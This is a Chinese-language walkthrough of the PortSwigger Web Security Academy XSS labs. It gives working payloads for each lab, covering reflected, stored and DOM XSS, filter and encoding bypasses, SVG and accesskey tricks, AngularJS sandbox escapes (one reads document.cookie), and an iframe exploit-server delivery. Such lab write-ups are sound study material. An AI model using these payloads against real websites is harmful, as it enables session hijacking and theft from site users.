burp 靶场之XSS

题目

Reflected XSS into HTML context with nothing encoded

搜索框有反射型xss,直接闭合插入触发alert即可

1
search=123%27><svg/onload=alert(1)><%27

Reflected XSS into HTML context with most tags and attributes blocked

还是反射型xss,但是这里加了很多的过滤条件,官方解答在这里引出了xss的check sheet,利用check sheet的内容进行fuzz,拿到未被过滤的标签与时间,进行操作。

首先是确定未被过滤的标签,从check sheet点击Copy tags to clipboard复制所有标签到burp进行fuzz,最终得到的白名单标签是 ,确定完标签再确定事件,点击Copy events to clipboard 复制所有事件到burp,fuzz一下确定了白名单事件是 onresize ,最终构造payload为 ‘‘ ,但是这样的payload是无法触发的,需要跟其他的tag配合触发,所以这里需要点击题目给出的Go to exploit server 到达一个利用页面,在利用界面这里输入 iframe 标签进行配合利用:

1
<iframe src="https://acc61fb51f6ef43580ee1a5e00100077.web-security-academy.net/?search=%22<body%20onresize=alert(11)>" onload=this.style.width='100px'>

这里需要注意我们需要输入的lab id 是我们原来搜索界面的id,并不是 exploit serverlab id

Reflected XSS into HTML context with all tags blocked except custom ones

这里过滤了所有的已有标签,需要自己构造一个标签来触发,最终利用payload如下:

1
search=<xss+id%3Dx+onfocus%3Dalert%28123%29%20tabindex=1>#x

这里的语法就是新建了一个标签,这个标签被focus的时候就会执行事件,然后使用# focus到这个标签的id上即可

Reflected XSS with event handlers and href attributes blocked

还是用前面的办法先确定过滤的标签和事件,发现事件全部禁止,标签剩下a、svg、title、image、discard、animate 6个。这里可以使用svgattributeName来简介赋值给href,可参考:https://developer.mozilla.org/zh-CN/docs/Web/SVG/Attribute/attributeName

1
?search=<svg><a><animate%20attributeName=href%20values=javascript:alert(222)+/><text%20x=50%20y=50>Click%20me</text></a>

Reflected XSS with some SVG markup allowed

还是先看过滤,这里剩下的标签只有 svg、title、image、discard ,再跑事件发现只有 onbegin 了,搜索了下这个事件:https://developer.mozilla.org/en-US/docs/Web/SVG/Element/discard ,能触发的只有edge,所以价值也不大,最后的payloadsearch=%27><svg><discard%20onbegin=alert(1)><%27

Reflected XSS into attribute with angle brackets HTML-encoded

这里搜索的关键字展示的时候对关键字符做了转码,但是对于搜索框却没有限制,直接闭合触发事件即可:

1
search=111"onmouseover=alert(222)/"

Stored XSS into anchor href attribute with double quotes HTML-encoded

这里提示时往href里写入存储型xss,开始测试没想到往评论里插了半天发现被转码了,直接在website输入以下内容即可 123"><img src=1 onerror=alert(1)><"

这里面的输出点在href里,可以有引号,但是尖括号被转码掉了:<link rel="canonical" href='https://ac201fa21fb552e980d0a324001500f1.web-security-academy.net/?123'%3e'/>

因此需要使用 accesskey 进行利用,最终payload如下:

1
2
3
//chrome下,定义X为唤起键, Windows: ALT+SHIFT+X; MacOS: CTRL+ALT+X; Linux: Alt+X
<link rel="canonical" href='https://ac201fa21fb552e980d0a324001500f1.web-security-academy.net/?'accesskey='x'onclick='alert(1)'/>
<input type="hidden" accesskey="X" onclick="alert(1)">

Reflected XSS into a JavaScript string with single quote and backslash escaped

反射型xss,单引号被过滤了,搜索内容出现在2处,其中1处可以直接闭合掉script标签,再自己写标签来触发,最后payload如下:

1
search=123</script><img%20src=1%20onerror=alert(2)>

Reflected XSS into a JavaScript string with angle brackets HTML encoded

这里引号可以用,比上面简单

1
search=111%27;alert(1);%27

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

单引号用反斜杠转义了,但是对于反斜杠本身没有处理,可以引号前面直接加上反斜杠让转义失效:

1
search=111\%27;alert(1);//%27

Reflected XSS in a JavaScript URL with some characters blocked

这里的是输入到 Back to Bloghref里面,需要通过自定义报错来触发,这个没太看懂,可以看这里的问答:https://security.stackexchange.com/questions/229055/reflected-xss-in-a-javascript-url-with-some-characters-blocked

1
postId=5&%27},x=x=>{throw/**/onerror=alert,1337},toString=x,window+%27%27,{x:%27

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

存储型xss,触发点在website,右键看源码输出在onclick事件里,相当于是插入在js,所以可以使用&apos; 来闭合前面的引号,官方给出的payload如下:

1
2
3
http://foo?&apos;-alert(1)-&apos;
//实际测试发现用括号闭合掉前面再直接插入alert也可以
http://foo?&apos;);alert(1);(&apos;

Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

这里尖括号,单引号,双引号,反斜杠和反引号都被Unicode编码,输入在message里,下个语句就会将message输出到页面上,这里用了 js${} 语法,可以称其为模板语法,大括号{}里面可以引用前面定义的变量或者直接在里面调用js函数。因此最终的payload为:${alert(1)}

Reflected XSS with AngularJS sandbox escape without strings

AngularJS的沙箱绕过,可以看这个文章,https://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox

1
1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

Reflected XSS with AngularJS sandbox escape and CSP

比上面难点,没有深究

1
<script>location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';</script>

Stored XSS into HTML context with nothing encoded

没有处理,直接评论输入xss 常见payload即可

这里是dom xss,从search参数取值写到页面,闭合掉直接再插入一个就好。这里需要闭合的是img标签,不是js语句。

1
2
3
4
5
6
7
8
9
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>

最后的payload如下:search=12ww"><img%20src=1%20onerror=alert(2)>

DOM XSS in document.write sink using source location.search inside a select element

还是dom xss,看源码里面是从searchstoreId的值,所以这里直接在storeId里面插值,闭合掉<select>再插入标签即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>

最后的payload如下:

1
storeId=123123"></select><img%20src=1%20onerror=alert(1)>

一样的问题,只是往页面写内容的函数变了:search=<img%20src=1%20onerror=alert(1)>

DOM XSS in jQuery anchor href attribute sink using location.search source

这里从search取值写到href里,限制掉了单引号,可以不用闭合,直接插JavaScript协议语句就好

1
2
3
4
5
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>

最后的payload如下returnPath=javascript:alert(document.cookie)

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

这里也没太懂,没看到js操作html的地方,搜索框输入{{$on.constructor('alert(1)')()}}即可

Reflected DOM XSS

这里得用到一个js文件里面的eval操作 eval('var searchResultsObj = ' + this.responseText); 这里的返回值会根据search生成一个js串: {"searchTerm":"123","results":[]} 闭合掉双引号,使用 - 运算符来达到运行后面语句的目的即可,输入payload为 \\"-alert(1)}// ,最终形成的js语句就是

1
var searchResultsObj = {"searchTerm":"\\"-alert(1)}//","results":[]}

Stored DOM XSS

评论的xss,这里把尖括号用replace函数做了html编码,但是replace只会匹配替换第一个匹配的字符,所以可以先把尖括号输入一次再插入payload即可:<img src=1 onerror=alert(1)>

Exploiting cross-site scripting to steal cookies

这里是偷cookie,可以直接用xss平台的payload

Exploiting cross-site scripting to capture passwords

同理

总结

温故知新,发现这里有提供一个check sheet,里面还是有很多东西可以用的,链接:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet